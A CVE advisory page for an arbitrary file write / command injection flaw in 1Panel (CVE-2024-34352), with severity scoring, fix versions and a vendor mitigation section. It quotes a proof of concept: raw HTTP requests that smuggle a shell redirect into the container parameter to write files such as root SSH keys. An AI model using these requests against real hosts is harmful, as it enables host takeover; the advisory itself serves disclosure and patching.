CVE-2024-34352 is a medium-severity (CVSS 6.5) CWE-77 vulnerability in github.com/1Panel-dev/1Panel. A fix is available for github.com/1Panel-dev/1Panel — see the affected versions and patch details below.
Arbitrary file write vulnerability in 1Panel
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-34352.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-34352 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/1Panel-dev/1PanelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.
We can use the following mirror configuration write symbol > to achieve arbitrary file writing
PoC
Dockerfile
FROM bash:latest
COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]
echo.sh
#!/usr/local/bin/bash
echo "Hello, World!"
Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed
GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1
Host: xxxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==
Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges
GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1
Host: xxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==
Or write a timed task to execute any command.
Impact
The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/1Panel-dev/1Panel | all versions | 1.10.3-ltsgo get github.com/1Panel-dev/1Panel@v1.10.3-lts |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/1Panel-dev/1Panel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/1Panel-dev/1Panel to 1.10.3-lts or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-34352 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-34352 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-34352. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-34352 in your dependencies?
O3 Security finds CVE-2024-34352 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.